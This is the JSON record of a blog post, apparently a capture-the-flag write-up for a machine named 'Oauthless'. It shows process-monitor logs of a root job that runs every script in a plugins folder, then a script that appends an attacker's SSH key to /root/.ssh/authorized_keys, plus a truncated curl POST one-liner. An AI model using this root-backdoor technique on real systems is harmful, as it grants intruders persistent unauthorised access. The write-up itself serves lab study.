grep apache \n2026\/07\/04 11:15:38 CMD: UID=0     PID=3158   | \n2026\/07\/04 11:15:40 CMD: UID=102   PID=3159   | ls -al \n2026\/07\/04 11:15:48 CMD: UID=102   PID=3161   | ls -al \n2026\/07\/04 11:18:34 CMD: UID=102   PID=3163   | vi ps \n2026\/07\/04 11:18:58 CMD: UID=0     PID=3165   | \/opt\/scripts\/CheckSystem \n2026\/07\/04 11:18:58 CMD: UID=0     PID=3166   | \/opt\/scripts\/CheckSystem \n2026\/07\/04 11:18:58 CMD: UID=0     PID=3167   | sh -c -- for f in \/opt\/scripts\/plugins\/*.sh; do \/bin\/bash \"$f\"; done; \n2026\/07\/04 11:18:58 CMD: UID=0     PID=3168   | \n2026\/07\/04 11:18:58 CMD: UID=0     PID=3169   | sh -c -- for f in \/opt\/scripts\/plugins\/*.sh; do \/bin\/bash \"$f\"; done; \n2026\/07\/04 11:18:58 CMD: UID=0     PID=3172   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:18:58 CMD: UID=0     PID=3171   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:18:58 CMD: UID=0     PID=3170   | \n2026\/07\/04 11:18:58 CMD: UID=0     PID=3173   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:18:58 CMD: UID=0     PID=3175   | \/bin\/bash \/opt\/scripts\/plugins\/CheckServices.sh \n2026\/07\/04 11:18:58 CMD: UID=0     PID=3174   | \n2026\/07\/04 11:19:27 CMD: UID=0     PID=3176   | \/usr\/lib\/ssh\/sshd-session -R \n2026\/07\/04 11:19:27 CMD: UID=0     PID=3177   | sshd-session: &#91;accepted]     \n2026\/07\/04 11:19:27 CMD: UID=0     PID=3178   | sshd-session: root &#91;priv]    \n2026\/07\/04 11:19:27 CMD: UID=0     PID=3179   | sshd-session: root@pts\/2     \n2026\/07\/04 11:19:27 CMD: UID=0     PID=3180   | \n2026\/07\/04 11:19:33 CMD: UID=0     PID=3182   | \n2026\/07\/04 11:19:46 CMD: UID=0     PID=3186   | \n2026\/07\/04 11:19:51 CMD: UID=???   PID=3188   | ???\n2026\/07\/04 11:19:59 CMD: UID=0     PID=3190   | \n2026\/07\/04 11:20:03 CMD: UID=???   PID=3191   | ???\n2026\/07\/04 11:20:06 CMD: UID=???   PID=3192   | ???\n2026\/07\/04 11:20:08 CMD: UID=0     PID=3193   | -bash \n2026\/07\/04 11:20:15 CMD: UID=0     PID=3194   | \/bin\/sh \/usr\/share\/udhcpc\/default.script renew \n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>yepian@Oauthless:\/tmp$ cat ps\necho \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCNxAQABAAACAQCNxxmiQiexk9jQUIDh+e4bkAjqHhvdR1jQk9GOQiVDffrVmW7S+lrhof8MGcYHcT7VOdWniEMdkz9UI7DII3HY6YswdZ4A+UY0VeqiKpZOX0KchwsIBVythNAQABAAACAQCNxxmiQiexk9jQUIDh+e4bkAjqHhvdR1jQk9GOQiVDffrVmW7S+lrhof8MGcYHcT7VOdWniEMdkz9UI7DII3HY6YswdZ4A+UY0VeqiKpZOX0KchwsIBVythNAQABAAACAQCNxxmiQiexk9jQUIDh+e4bkAjqHhvdR1jQk9GOQiVDffrVmW7S+lrhof8MGcYHcT7VOdWniEMdkz9UI7DII3HY6YswdZ4A+UY0VeqiKpZOX0KchwsIBVythNxmiQiexk9jQUIDh+e4bkAjqHhvdR1jQk9GOQiVDffrVmW7S+lrhof8MGcYHcT7VOdWniEMdkz9UI7DII3HY6YswdZ4A+UY0VeqiKpZOX0KchwsIBVythNqxIqwj6xDkfQ== kali@kali\" &gt;&gt; \/root\/.ssh\/authorized_keys <\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n","protected":false},"excerpt":{"rendered":"<p>cat a | xargs -I {} curl -X POST &#8220;http:\/\/oauth.ds [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-1231","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/posts\/1231","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1231"}],"version-history":[{"count":2,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/posts\/1231\/revisions"}],"predecessor-version":[{"id":1238,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/posts\/1231\/revisions\/1238"}],"wp:attachment":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1231"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1231"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1231"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}